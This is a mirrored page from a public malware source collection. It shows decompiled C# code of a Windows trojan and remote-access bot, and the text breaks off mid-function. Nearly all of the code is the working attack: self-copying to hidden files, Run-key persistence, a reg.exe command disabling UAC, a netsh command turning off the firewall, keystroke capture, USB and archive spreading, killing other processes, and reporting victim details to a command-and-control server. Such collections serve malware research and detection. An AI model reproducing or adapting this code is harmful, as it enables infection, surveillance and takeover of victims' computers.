mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2025-01-28 21:15:06 +00:00
1219 lines
38 KiB
C#
1219 lines
38 KiB
C#
// Decompiled with JetBrains decompiler
|
|
// Type: n.B
|
|
// Assembly: n, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
|
|
// MVID: BFCF94BC-F711-4A63-941E-52FC7F306AC7
|
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.Win32.Fsysna.wh-0adec5f2e37dcb28180512f882c1aec3a7f939bf33e4147587c7b7277719444b.exe
|
|
|
|
using Microsoft.VisualBasic;
|
|
using Microsoft.VisualBasic.CompilerServices;
|
|
using Microsoft.VisualBasic.Devices;
|
|
using Microsoft.Win32;
|
|
using n.My;
|
|
using System;
|
|
using System.ComponentModel;
|
|
using System.Diagnostics;
|
|
using System.Drawing;
|
|
using System.IO;
|
|
using System.Net;
|
|
using System.Runtime.CompilerServices;
|
|
using System.Runtime.InteropServices;
|
|
using System.Text;
|
|
using System.Threading;
|
|
using System.Windows.Forms;
|
|
|
|
namespace n
|
|
{
|
|
[DesignerGenerated]
|
|
public class B : Form
|
|
{
|
|
private IContainer components;
|
|
[AccessedThroughProperty("fs")]
|
|
private FileSystemWatcher _fs;
|
|
public static bool Fw = false;
|
|
public static bool FT = false;
|
|
public static bool netsh;
|
|
public static bool isFT;
|
|
public static bool KON;
|
|
public static string Vname = "VmljdGlt";
|
|
public static RegistryKey Nkey;
|
|
public static bool DS;
|
|
public static string PC = "X";
|
|
public static string ver = "1.4.8";
|
|
public static string exename;
|
|
private string LA;
|
|
public static bool ISEND;
|
|
public A BW;
|
|
public static bool Busy;
|
|
public static bool Rec;
|
|
public static string XRec = "";
|
|
public static int ms;
|
|
[AccessedThroughProperty("WC")]
|
|
private SocketsClient _WC;
|
|
[AccessedThroughProperty("wL")]
|
|
private System.Windows.Forms.Timer _wL;
|
|
[AccessedThroughProperty("k")]
|
|
private System.Windows.Forms.Timer _k;
|
|
public static string no = "127.0.0.1:7";
|
|
public static string Ai;
|
|
public static string SU = "*";
|
|
public static bool UU;
|
|
public static string Uo = "*";
|
|
public static string Ui = "*";
|
|
public static string spread = "*";
|
|
public static string mU = "*";
|
|
public static string FR;
|
|
public static string Cht;
|
|
private int c2;
|
|
private int cc;
|
|
private int c0;
|
|
public static Mutex jMutex;
|
|
public static chat Chat;
|
|
private string IP;
|
|
private static string[] Block = new string[1000000];
|
|
private static int inx;
|
|
private static int err;
|
|
|
|
public B()
|
|
{
|
|
this.FormClosing += new FormClosingEventHandler(this.B_FormClosing);
|
|
this.Load += new EventHandler(this.B_Load);
|
|
this.BW = new A();
|
|
this.WC = new SocketsClient();
|
|
this.wL = new System.Windows.Forms.Timer();
|
|
this.k = new System.Windows.Forms.Timer();
|
|
this.InitializeComponent();
|
|
}
|
|
|
|
[STAThread]
|
|
public static void Main() => Application.Run((Form) MyProject.Forms.B);
|
|
|
|
[DebuggerNonUserCode]
|
|
protected override void Dispose(bool disposing)
|
|
{
|
|
try
|
|
{
|
|
if (!disposing || this.components == null)
|
|
return;
|
|
this.components.Dispose();
|
|
}
|
|
finally
|
|
{
|
|
base.Dispose(disposing);
|
|
}
|
|
}
|
|
|
|
[DebuggerStepThrough]
|
|
private void InitializeComponent()
|
|
{
|
|
this.fs = new FileSystemWatcher();
|
|
this.fs.BeginInit();
|
|
this.SuspendLayout();
|
|
this.fs.IncludeSubdirectories = true;
|
|
this.fs.SynchronizingObject = (ISynchronizeInvoke) this;
|
|
this.AutoScaleDimensions = new SizeF(6f, 13f);
|
|
this.AutoScaleMode = AutoScaleMode.Font;
|
|
this.ClientSize = new Size(10, 10);
|
|
this.FormBorderStyle = FormBorderStyle.None;
|
|
this.MaximizeBox = false;
|
|
this.MinimizeBox = false;
|
|
this.Name = nameof (B);
|
|
this.Opacity = 0.0;
|
|
this.ShowIcon = false;
|
|
this.ShowInTaskbar = false;
|
|
this.WindowState = FormWindowState.Minimized;
|
|
this.fs.EndInit();
|
|
this.ResumeLayout(false);
|
|
}
|
|
|
|
internal virtual FileSystemWatcher fs
|
|
{
|
|
get => this._fs;
|
|
[MethodImpl(MethodImplOptions.Synchronized)] set
|
|
{
|
|
FileSystemEventHandler systemEventHandler = new FileSystemEventHandler(this.fs_Created);
|
|
if (this._fs != null)
|
|
this._fs.Created -= systemEventHandler;
|
|
this._fs = value;
|
|
if (this._fs == null)
|
|
return;
|
|
this._fs.Created += systemEventHandler;
|
|
}
|
|
}
|
|
|
|
public virtual SocketsClient WC
|
|
{
|
|
get => this._WC;
|
|
[MethodImpl(MethodImplOptions.Synchronized)] set
|
|
{
|
|
SocketsClient.onDataArrivalEventHandler arrivalEventHandler = new SocketsClient.onDataArrivalEventHandler(this.W3);
|
|
SocketsClient.onDisconnectEventHandler disconnectEventHandler = new SocketsClient.onDisconnectEventHandler(this.W2);
|
|
SocketsClient.onErrorEventHandler errorEventHandler = new SocketsClient.onErrorEventHandler(this.W1);
|
|
SocketsClient.onConnectEventHandler connectEventHandler = new SocketsClient.onConnectEventHandler(this.W0);
|
|
if (this._WC != null)
|
|
{
|
|
this._WC.onDataArrival -= arrivalEventHandler;
|
|
this._WC.onDisconnect -= disconnectEventHandler;
|
|
this._WC.onError -= errorEventHandler;
|
|
this._WC.onConnect -= connectEventHandler;
|
|
}
|
|
this._WC = value;
|
|
if (this._WC == null)
|
|
return;
|
|
this._WC.onDataArrival += arrivalEventHandler;
|
|
this._WC.onDisconnect += disconnectEventHandler;
|
|
this._WC.onError += errorEventHandler;
|
|
this._WC.onConnect += connectEventHandler;
|
|
}
|
|
}
|
|
|
|
public virtual System.Windows.Forms.Timer wL
|
|
{
|
|
get => this._wL;
|
|
[MethodImpl(MethodImplOptions.Synchronized)] set
|
|
{
|
|
EventHandler eventHandler = (EventHandler) ((a0, a1) => this.wL_());
|
|
if (this._wL != null)
|
|
this._wL.Tick -= eventHandler;
|
|
this._wL = value;
|
|
if (this._wL == null)
|
|
return;
|
|
this._wL.Tick += eventHandler;
|
|
}
|
|
}
|
|
|
|
public virtual System.Windows.Forms.Timer k
|
|
{
|
|
get => this._k;
|
|
[MethodImpl(MethodImplOptions.Synchronized)] set => this._k = value;
|
|
}
|
|
|
|
[DllImport("user32", CharSet = CharSet.Ansi, SetLastError = true)]
|
|
private static extern int GetAsyncKeyState(long vKey);
|
|
|
|
[DllImport("kernel32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
|
|
private static extern int SetProcessWorkingSetSize(
|
|
IntPtr process,
|
|
int minimumWorkingSetSize,
|
|
int maximumWorkingSetSize);
|
|
|
|
public static void E()
|
|
{
|
|
try
|
|
{
|
|
while (true)
|
|
{
|
|
do
|
|
{
|
|
Thread.Sleep(10000);
|
|
GC.Collect();
|
|
GC.WaitForPendingFinalizers();
|
|
}
|
|
while (Environment.OSVersion.Platform != PlatformID.Win32NT);
|
|
B.SetProcessWorkingSetSize(Process.GetCurrentProcess().Handle, -1, -1);
|
|
}
|
|
}
|
|
catch (Exception ex)
|
|
{
|
|
ProjectData.SetProjectError(ex);
|
|
ProjectData.ClearProjectError();
|
|
}
|
|
}
|
|
|
|
public void CL()
|
|
{
|
|
B.KON = false;
|
|
B.Busy = false;
|
|
try
|
|
{
|
|
chat.clos = true;
|
|
}
|
|
catch (Exception ex)
|
|
{
|
|
ProjectData.SetProjectError(ex);
|
|
ProjectData.ClearProjectError();
|
|
}
|
|
}
|
|
|
|
private void B_FormClosing(object sender, FormClosingEventArgs e)
|
|
{
|
|
if (e.CloseReason == CloseReason.WindowsShutDown)
|
|
ProjectData.EndApp();
|
|
else
|
|
e.Cancel = true;
|
|
}
|
|
|
|
public void R()
|
|
{
|
|
MemoryStream memoryStream1 = new MemoryStream();
|
|
Array Instance1 = (Array) System.IO.File.ReadAllBytes(Application.ExecutablePath);
|
|
int num1 = Instance1.Length - 400;
|
|
int num2 = Instance1.Length - 1;
|
|
for (int index = num1; index <= num2; ++index)
|
|
{
|
|
int num3;
|
|
if (Operators.CompareString(Conversions.ToString(Strings.ChrW(Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance1, new object[1]
|
|
{
|
|
(object) index
|
|
}, (string[]) null)))) + Conversions.ToString(Strings.ChrW(Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance1, new object[1]
|
|
{
|
|
(object) (index - 1)
|
|
}, (string[]) null)))) + Conversions.ToString(Strings.ChrW(Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance1, new object[1]
|
|
{
|
|
(object) (index - 2)
|
|
}, (string[]) null)))), "***", false) == 0)
|
|
num3 = index + 1;
|
|
int num4;
|
|
if (Operators.CompareString(Conversions.ToString(Strings.ChrW(Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance1, new object[1]
|
|
{
|
|
(object) index
|
|
}, (string[]) null)))) + Conversions.ToString(Strings.ChrW(Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance1, new object[1]
|
|
{
|
|
(object) (index - 1)
|
|
}, (string[]) null)))) + Conversions.ToString(Strings.ChrW(Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance1, new object[1]
|
|
{
|
|
(object) (index - 2)
|
|
}, (string[]) null)))), "^^^", false) == 0)
|
|
num4 = index - 3;
|
|
if (num3 > 0 & num4 == 0)
|
|
memoryStream1.WriteByte(Conversions.ToByte(NewLateBinding.LateIndexGet((object) Instance1, new object[1]
|
|
{
|
|
(object) index
|
|
}, (string[]) null)));
|
|
}
|
|
byte[] array1 = memoryStream1.ToArray();
|
|
MemoryStream memoryStream2 = new MemoryStream();
|
|
memoryStream2.Write(array1, 1, array1.Length - 3);
|
|
Encoding encoding = Encoding.Default;
|
|
byte[] array2 = memoryStream2.ToArray();
|
|
bool flag = false;
|
|
ref bool local = ref flag;
|
|
byte[] bytes = API.ZIP(array2, ref local);
|
|
Array Instance2 = (Array) Strings.Split(encoding.GetString(bytes), IND.Y);
|
|
B.no = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance2, new object[1]
|
|
{
|
|
(object) 0
|
|
}, (string[]) null));
|
|
B.SU = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance2, new object[1]
|
|
{
|
|
(object) 1
|
|
}, (string[]) null));
|
|
if (Operators.ConditionalCompareObjectEqual(NewLateBinding.LateIndexGet((object) Instance2, new object[1]
|
|
{
|
|
(object) 2
|
|
}, (string[]) null), (object) "*", false))
|
|
{
|
|
B.Ai = "*";
|
|
}
|
|
else
|
|
{
|
|
B.Ai = Interaction.Environ(Strings.Split(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance2, new object[1]
|
|
{
|
|
(object) 2
|
|
}, (string[]) null)), ":")[1]) + "\\" + Strings.Split(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance2, new object[1]
|
|
{
|
|
(object) 2
|
|
}, (string[]) null)), ":")[0];
|
|
if (Operators.CompareString(B.Ai, Application.ExecutablePath, false) != 0)
|
|
{
|
|
try
|
|
{
|
|
if (System.IO.File.Exists(B.Ai))
|
|
System.IO.File.Delete(B.Ai);
|
|
System.IO.File.Copy(Application.ExecutablePath, B.Ai, true);
|
|
try
|
|
{
|
|
System.IO.File.SetAttributes(B.Ai, FileAttributes.Hidden);
|
|
}
|
|
catch (Exception ex)
|
|
{
|
|
ProjectData.SetProjectError(ex);
|
|
ProjectData.ClearProjectError();
|
|
}
|
|
if (Operators.CompareString(Conversions.ToString(Strings.Split(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance2, new object[1]
|
|
{
|
|
(object) 2
|
|
}, (string[]) null)), ":")[2][0]), "T", false) == 0)
|
|
{
|
|
string ai = B.Ai;
|
|
string executablePath = Application.ExecutablePath;
|
|
string arguments = "Kill@" + API.ENB(ref executablePath);
|
|
Process.Start(ai, arguments);
|
|
}
|
|
else
|
|
Process.Start(B.Ai);
|
|
ProjectData.EndApp();
|
|
}
|
|
catch (Exception ex)
|
|
{
|
|
ProjectData.SetProjectError(ex);
|
|
ProjectData.EndApp();
|
|
ProjectData.ClearProjectError();
|
|
}
|
|
}
|
|
if (Operators.ConditionalCompareObjectEqual(NewLateBinding.LateIndexGet((object) Instance2, new object[1]
|
|
{
|
|
(object) 3
|
|
}, (string[]) null), (object) "^", false))
|
|
B.UU = true;
|
|
if (Strings.InStr(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance2, new object[1]
|
|
{
|
|
(object) 4
|
|
}, (string[]) null)), "*") == 0)
|
|
{
|
|
B.Uo = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance2, new object[1]
|
|
{
|
|
(object) 4
|
|
}, (string[]) null));
|
|
new Thread((ParameterizedThreadStart) (a0 => USB.USb(Conversions.ToString(a0)))).Start((object) B.Uo);
|
|
B.spread = "(" + B.Uo + ")USB,";
|
|
}
|
|
B.mU = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance2, new object[1]
|
|
{
|
|
(object) 5
|
|
}, (string[]) null));
|
|
try
|
|
{
|
|
Mutex.OpenExisting(B.mU);
|
|
ProjectData.EndApp();
|
|
}
|
|
catch (Exception ex)
|
|
{
|
|
ProjectData.SetProjectError(ex);
|
|
ProjectData.ClearProjectError();
|
|
}
|
|
B.jMutex = new Mutex(true, B.mU);
|
|
if (!Operators.ConditionalCompareObjectEqual(NewLateBinding.LateIndexGet((object) Instance2, new object[1]
|
|
{
|
|
(object) 6
|
|
}, (string[]) null), (object) "*", false))
|
|
{
|
|
B.spread += "Rar,Zip";
|
|
B.Ui = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance2, new object[1]
|
|
{
|
|
(object) 6
|
|
}, (string[]) null));
|
|
this.fs.Path = Interaction.Environ("homedrive") + "\\";
|
|
this.fs.EnableRaisingEvents = true;
|
|
}
|
|
}
|
|
B.Fw = Operators.ConditionalCompareObjectEqual(NewLateBinding.LateIndexGet((object) Instance2, new object[1]
|
|
{
|
|
(object) 9
|
|
}, (string[]) null), (object) "^", false);
|
|
Registry.CurrentUser.CreateSubKey(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance2, new object[1]
|
|
{
|
|
(object) 8
|
|
}, (string[]) null)));
|
|
B.Nkey = Registry.CurrentUser.OpenSubKey(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance2, new object[1]
|
|
{
|
|
(object) 8
|
|
}, (string[]) null)), true);
|
|
B.Vname = Conversions.ToString(B.Nkey.GetValue("vname", RuntimeHelpers.GetObjectValue(NewLateBinding.LateIndexGet((object) Instance2, new object[1]
|
|
{
|
|
(object) 7
|
|
}, (string[]) null))));
|
|
}
|
|
|
|
private void B_Load(object sender, EventArgs e)
|
|
{
|
|
try
|
|
{
|
|
B.exename = Process.GetCurrentProcess().ProcessName;
|
|
}
|
|
catch (Exception ex)
|
|
{
|
|
ProjectData.SetProjectError(ex);
|
|
B.exename = "!";
|
|
ProjectData.ClearProjectError();
|
|
}
|
|
try
|
|
{
|
|
Control.CheckForIllegalCrossThreadCalls = false;
|
|
}
|
|
catch (Exception ex)
|
|
{
|
|
ProjectData.SetProjectError(ex);
|
|
ProjectData.ClearProjectError();
|
|
}
|
|
try
|
|
{
|
|
byte[] plugin = n.My.Resources.Resources.plugin;
|
|
bool flag = false;
|
|
ref bool local = ref flag;
|
|
C.Plug = API.ZIP(plugin, ref local);
|
|
}
|
|
catch (Exception ex)
|
|
{
|
|
ProjectData.SetProjectError(ex);
|
|
ProjectData.ClearProjectError();
|
|
}
|
|
try
|
|
{
|
|
B.PC = Environment.MachineName + "\\" + Environment.UserName;
|
|
}
|
|
catch (Exception ex)
|
|
{
|
|
ProjectData.SetProjectError(ex);
|
|
ProjectData.ClearProjectError();
|
|
}
|
|
this.Hide();
|
|
this.Visible = false;
|
|
B.Rec = false;
|
|
try
|
|
{
|
|
string Expression = Interaction.Command();
|
|
if (Expression.Length > 0)
|
|
{
|
|
Array Instance1 = (Array) Strings.Split(Expression, "@");
|
|
object Left = NewLateBinding.LateIndexGet((object) Instance1, new object[1]
|
|
{
|
|
(object) 0
|
|
}, (string[]) null);
|
|
if (Operators.ConditionalCompareObjectEqual(Left, (object) "!0", false))
|
|
{
|
|
Thread.Sleep(100);
|
|
try
|
|
{
|
|
Process.GetProcessById(Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance1, new object[1]
|
|
{
|
|
(object) 2
|
|
}, (string[]) null))).Kill();
|
|
foreach (Process process in Process.GetProcessesByName("wscript"))
|
|
{
|
|
try
|
|
{
|
|
process.Kill();
|
|
}
|
|
catch (Exception ex)
|
|
{
|
|
ProjectData.SetProjectError(ex);
|
|
ProjectData.ClearProjectError();
|
|
}
|
|
}
|
|
}
|
|
catch (Exception ex)
|
|
{
|
|
ProjectData.SetProjectError(ex);
|
|
ProjectData.ClearProjectError();
|
|
}
|
|
try
|
|
{
|
|
System.IO.File.Delete(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1]
|
|
{
|
|
(object) 1
|
|
}, (string[]) null)));
|
|
}
|
|
catch (Exception ex)
|
|
{
|
|
ProjectData.SetProjectError(ex);
|
|
ProjectData.ClearProjectError();
|
|
}
|
|
try
|
|
{
|
|
MyProject.Computer.Registry.LocalMachine.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true).DeleteValue(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1]
|
|
{
|
|
(object) 2
|
|
}, (string[]) null)));
|
|
MyProject.Computer.Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true).DeleteValue(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1]
|
|
{
|
|
(object) 2
|
|
}, (string[]) null)));
|
|
}
|
|
catch (Exception ex)
|
|
{
|
|
ProjectData.SetProjectError(ex);
|
|
ProjectData.ClearProjectError();
|
|
}
|
|
}
|
|
else if (Operators.ConditionalCompareObjectEqual(Left, (object) "..", false))
|
|
Thread.Sleep(2000);
|
|
else if (Operators.ConditionalCompareObjectEqual(Left, (object) "Kill", false))
|
|
{
|
|
try
|
|
{
|
|
Array Instance2 = Instance1;
|
|
object[] objArray1 = new object[1];
|
|
object[] objArray2 = objArray1;
|
|
int num = 1;
|
|
// ISSUE: variable of a boxed type
|
|
__Boxed<int> local = (ValueType) num;
|
|
objArray2[0] = (object) local;
|
|
object[] Arguments = objArray1;
|
|
string s = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance2, Arguments, (string[]) null));
|
|
string path = API.DEB(ref s);
|
|
NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
|
|
{
|
|
(object) num,
|
|
(object) s
|
|
}, (string[]) null, true, false);
|
|
System.IO.File.Delete(path);
|
|
}
|
|
catch (Exception ex)
|
|
{
|
|
ProjectData.SetProjectError(ex);
|
|
ProjectData.ClearProjectError();
|
|
}
|
|
}
|
|
}
|
|
}
|
|
catch (Exception ex)
|
|
{
|
|
ProjectData.SetProjectError(ex);
|
|
ProjectData.ClearProjectError();
|
|
}
|
|
try
|
|
{
|
|
if (Operators.ConditionalCompareObjectEqual(MyProject.Computer.Registry.ClassesRoot.GetValue("!", (object) null), (object) null, false))
|
|
{
|
|
B.FR = Conversions.ToString(MyProject.Computer.Clock.LocalTime) + " >> " + Application.ExecutablePath;
|
|
MyProject.Computer.Registry.ClassesRoot.SetValue("!", (object) API.ENB(ref B.FR));
|
|
}
|
|
else
|
|
{
|
|
string s = Conversions.ToString(MyProject.Computer.Registry.ClassesRoot.GetValue("!", (object) "*"));
|
|
B.FR = API.DEB(ref s);
|
|
}
|
|
}
|
|
catch (Exception ex)
|
|
{
|
|
ProjectData.SetProjectError(ex);
|
|
B.FR = "*";
|
|
ProjectData.ClearProjectError();
|
|
}
|
|
try
|
|
{
|
|
this.R();
|
|
}
|
|
catch (Exception ex1)
|
|
{
|
|
ProjectData.SetProjectError(ex1);
|
|
B.SU = "*";
|
|
B.mU = "*";
|
|
try
|
|
{
|
|
Registry.CurrentUser.CreateSubKey("nKey");
|
|
B.Nkey = Registry.CurrentUser.OpenSubKey("nKey", true);
|
|
B.Vname = Conversions.ToString(B.Nkey.GetValue("vname", (object) B.Vname));
|
|
}
|
|
catch (Exception ex2)
|
|
{
|
|
ProjectData.SetProjectError(ex2);
|
|
ProjectData.ClearProjectError();
|
|
}
|
|
ProjectData.ClearProjectError();
|
|
}
|
|
try
|
|
{
|
|
if (Operators.ConditionalCompareObjectEqual(B.Nkey.GetValue("FT", (object) ""), (object) "", false))
|
|
{
|
|
B.FT = true;
|
|
B.Nkey.SetValue("FT", (object) "&");
|
|
}
|
|
}
|
|
catch (Exception ex)
|
|
{
|
|
ProjectData.SetProjectError(ex);
|
|
ProjectData.ClearProjectError();
|
|
}
|
|
this.cc = 4;
|
|
this.wL.Interval = 1000;
|
|
this.wL.Enabled = true;
|
|
if (B.UU)
|
|
this.BW.B.RunWorkerAsync();
|
|
new Thread(new ThreadStart(B.E)).Start();
|
|
try
|
|
{
|
|
Interaction.Shell("reg.exe ADD HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /v EnableLUA /t REG_DWORD /d 0 /f", AppWinStyle.Hide);
|
|
}
|
|
catch (Exception ex)
|
|
{
|
|
ProjectData.SetProjectError(ex);
|
|
ProjectData.ClearProjectError();
|
|
}
|
|
new Thread(new ThreadStart(B.Key.Start)).Start();
|
|
this.con();
|
|
}
|
|
|
|
public void wL_()
|
|
{
|
|
this.wL.Enabled = false;
|
|
try
|
|
{
|
|
++this.cc;
|
|
++this.c0;
|
|
if (this.c2 < 5)
|
|
++this.c2;
|
|
if (this.c2 == 5)
|
|
{
|
|
try
|
|
{
|
|
foreach (Process process1 in Process.GetProcessesByName(Process.GetCurrentProcess().ProcessName))
|
|
{
|
|
try
|
|
{
|
|
if (FileSystem.FileLen(process1.MainModule.FileName) == FileSystem.FileLen(Process.GetCurrentProcess().MainModule.FileName))
|
|
{
|
|
if (process1.Id != Process.GetCurrentProcess().Id)
|
|
{
|
|
try
|
|
{
|
|
process1.Kill();
|
|
foreach (Process process2 in Process.GetProcessesByName("wscript"))
|
|
{
|
|
try
|
|
{
|
|
process2.Kill();
|
|
}
|
|
catch (Exception ex)
|
|
{
|
|
ProjectData.SetProjectError(ex);
|
|
ProjectData.ClearProjectError();
|
|
}
|
|
}
|
|
}
|
|
catch (Exception ex)
|
|
{
|
|
ProjectData.SetProjectError(ex);
|
|
ProjectData.ClearProjectError();
|
|
}
|
|
}
|
|
}
|
|
}
|
|
catch (Exception ex)
|
|
{
|
|
ProjectData.SetProjectError(ex);
|
|
ProjectData.ClearProjectError();
|
|
}
|
|
}
|
|
}
|
|
catch (Exception ex)
|
|
{
|
|
ProjectData.SetProjectError(ex);
|
|
ProjectData.ClearProjectError();
|
|
}
|
|
}
|
|
try
|
|
{
|
|
if (B.Cht.Length > 0)
|
|
{
|
|
B.Chat = new chat();
|
|
chat.clos = false;
|
|
B.Chat.nick = B.Cht;
|
|
B.Chat.Show();
|
|
B.Cht = "";
|
|
}
|
|
}
|
|
catch (Exception ex)
|
|
{
|
|
ProjectData.SetProjectError(ex);
|
|
B.Cht = "";
|
|
ProjectData.ClearProjectError();
|
|
}
|
|
if (Operators.CompareString(B.SU, "*", false) != 0)
|
|
{
|
|
if (this.cc > 4)
|
|
{
|
|
try
|
|
{
|
|
RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true);
|
|
if (Operators.ConditionalCompareObjectEqual(registryKey.GetValue(B.SU), (object) null, false))
|
|
registryKey.SetValue(B.SU, (object) (Application.ExecutablePath + " @.."));
|
|
}
|
|
catch (Exception ex)
|
|
{
|
|
ProjectData.SetProjectError(ex);
|
|
ProjectData.ClearProjectError();
|
|
}
|
|
try
|
|
{
|
|
RegistryKey registryKey = Registry.LocalMachine.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true);
|
|
if (Operators.ConditionalCompareObjectEqual(registryKey.GetValue(B.SU), (object) null, false))
|
|
registryKey.SetValue(B.SU, (object) Application.ExecutablePath);
|
|
}
|
|
catch (Exception ex)
|
|
{
|
|
ProjectData.SetProjectError(ex);
|
|
ProjectData.ClearProjectError();
|
|
}
|
|
this.cc = 0;
|
|
}
|
|
}
|
|
try
|
|
{
|
|
if (this.WC.Connected())
|
|
{
|
|
if (B.ISEND)
|
|
{
|
|
string T;
|
|
if (B.FT & !B.isFT)
|
|
{
|
|
B.isFT = true;
|
|
T = "#blue";
|
|
this.SEND(ref T);
|
|
Thread.Sleep(100);
|
|
}
|
|
bool p = false;
|
|
string str = API.A1(ref p);
|
|
if (Operators.CompareString(this.LA, str, false) != 0)
|
|
{
|
|
if (Operators.CompareString(str, "", false) != 0)
|
|
{
|
|
this.LA = str;
|
|
T = "#3" + IND.Y + this.LA;
|
|
this.SEND(ref T);
|
|
}
|
|
}
|
|
}
|
|
}
|
|
else
|
|
{
|
|
this.Dis();
|
|
this.con();
|
|
}
|
|
}
|
|
catch (Exception ex)
|
|
{
|
|
ProjectData.SetProjectError(ex);
|
|
this.Dis();
|
|
this.con();
|
|
ProjectData.ClearProjectError();
|
|
}
|
|
if (this.c0 > 3 & Operators.CompareString(B.XRec, "", false) == 0)
|
|
{
|
|
this.c0 = 1;
|
|
try
|
|
{
|
|
if (Operators.CompareString(Dns.GetHostByName(Strings.Split(B.no, ":")[0]).AddressList[0].ToString(), this.IP, false) != 0)
|
|
{
|
|
this.IP = Dns.GetHostByName(Strings.Split(B.no, ":")[0]).AddressList[0].ToString();
|
|
try
|
|
{
|
|
this.Dis();
|
|
}
|
|
catch (Exception ex)
|
|
{
|
|
ProjectData.SetProjectError(ex);
|
|
ProjectData.ClearProjectError();
|
|
}
|
|
}
|
|
}
|
|
catch (Exception ex)
|
|
{
|
|
ProjectData.SetProjectError(ex);
|
|
ProjectData.ClearProjectError();
|
|
}
|
|
}
|
|
}
|
|
catch (Exception ex)
|
|
{
|
|
ProjectData.SetProjectError(ex);
|
|
ProjectData.ClearProjectError();
|
|
}
|
|
this.wL.Enabled = true;
|
|
}
|
|
|
|
public void con()
|
|
{
|
|
Thread.Sleep(1500);
|
|
try
|
|
{
|
|
try
|
|
{
|
|
this.IP = Dns.GetHostByName(Strings.Split(B.no, ":")[0]).AddressList[0].ToString();
|
|
}
|
|
catch (Exception ex)
|
|
{
|
|
ProjectData.SetProjectError(ex);
|
|
ProjectData.ClearProjectError();
|
|
}
|
|
this.CL();
|
|
B.DS = false;
|
|
if (B.Fw)
|
|
{
|
|
try
|
|
{
|
|
string path = IND.TM + Conversions.ToString(Process.GetCurrentProcess().Id);
|
|
byte[] p = n.My.Resources.Resources.P;
|
|
bool flag = false;
|
|
ref bool local = ref flag;
|
|
byte[] bytes = API.ZIP(p, ref local);
|
|
System.IO.File.WriteAllBytes(path, bytes);
|
|
Interaction.Shell(IND.TM + Conversions.ToString(Process.GetCurrentProcess().Id) + " " + Conversions.ToString(Process.GetCurrentProcess().Id));
|
|
}
|
|
catch (Exception ex)
|
|
{
|
|
ProjectData.SetProjectError(ex);
|
|
ProjectData.ClearProjectError();
|
|
}
|
|
}
|
|
if (!B.netsh)
|
|
{
|
|
B.netsh = true;
|
|
try
|
|
{
|
|
Process.Start(new ProcessStartInfo()
|
|
{
|
|
FileName = "netsh",
|
|
Arguments = "firewall set opmode disable",
|
|
CreateNoWindow = true,
|
|
WindowStyle = ProcessWindowStyle.Hidden
|
|
});
|
|
}
|
|
catch (Exception ex)
|
|
{
|
|
ProjectData.SetProjectError(ex);
|
|
ProjectData.ClearProjectError();
|
|
}
|
|
}
|
|
this.WC = new SocketsClient();
|
|
if (B.Rec)
|
|
{
|
|
B.Rec = false;
|
|
this.WC.Connect(Strings.Split(B.XRec, ":")[0], Conversions.ToInteger(Strings.Split(B.XRec, ":")[1]));
|
|
}
|
|
else
|
|
this.WC.Connect(Strings.Split(B.no, ":")[0], Conversions.ToInteger(Strings.Split(B.no, ":")[1]));
|
|
}
|
|
catch (Exception ex)
|
|
{
|
|
ProjectData.SetProjectError(ex);
|
|
ProjectData.ClearProjectError();
|
|
}
|
|
}
|
|
|
|
public void Dis()
|
|
{
|
|
try
|
|
{
|
|
this.CL();
|
|
B.DS = true;
|
|
B.ISEND = false;
|
|
this.WC.Disconnect();
|
|
this.WC = (SocketsClient) null;
|
|
}
|
|
catch (Exception ex)
|
|
{
|
|
ProjectData.SetProjectError(ex);
|
|
ProjectData.ClearProjectError();
|
|
}
|
|
}
|
|
|
|
public void SEND(ref string T)
|
|
{
|
|
try
|
|
{
|
|
this.WC.SendData(this.WC.STB(T));
|
|
}
|
|
catch (Exception ex)
|
|
{
|
|
ProjectData.SetProjectError(ex);
|
|
ProjectData.ClearProjectError();
|
|
}
|
|
}
|
|
|
|
public void W0()
|
|
{
|
|
try
|
|
{
|
|
string T = "#2" + IND.Y + API.A0() + IND.Y + B.Vname;
|
|
this.SEND(ref T);
|
|
}
|
|
catch (Exception ex1)
|
|
{
|
|
ProjectData.SetProjectError(ex1);
|
|
try
|
|
{
|
|
string str = "X";
|
|
int num = 0;
|
|
do
|
|
{
|
|
str += "\r\nX";
|
|
++num;
|
|
}
|
|
while (num <= 5);
|
|
string T = "#2" + IND.Y + str + IND.Y + B.Vname;
|
|
this.SEND(ref T);
|
|
}
|
|
catch (Exception ex2)
|
|
{
|
|
ProjectData.SetProjectError(ex2);
|
|
ProjectData.ClearProjectError();
|
|
}
|
|
ProjectData.ClearProjectError();
|
|
}
|
|
B.ISEND = true;
|
|
Thread.Sleep(100);
|
|
if (B.Fw)
|
|
{
|
|
try
|
|
{
|
|
